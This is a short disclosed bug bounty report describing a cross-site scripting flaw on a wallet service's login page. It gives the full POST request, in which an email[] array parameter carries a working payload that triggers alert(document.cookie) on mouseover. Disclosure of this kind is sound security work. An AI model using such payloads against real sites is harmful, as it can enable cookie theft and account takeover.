Enter · Report #63888
Cross site scripting
Validstatus
2upvotes
12 Jul 2015disclosed
How it was found
page : https://wallet.romit.io/login
post data "email=[email protected]" set to "email[]=<a onmouseover=alert(document.cookie)>xxs link</a>"
full request data email[]=<a onmouseover=alert(document.cookie)>xxs link</a>&password=g00dPa%24%24w0rD&_csrf=5afeda5f-e604-4ba0-bd60-d83f975853c5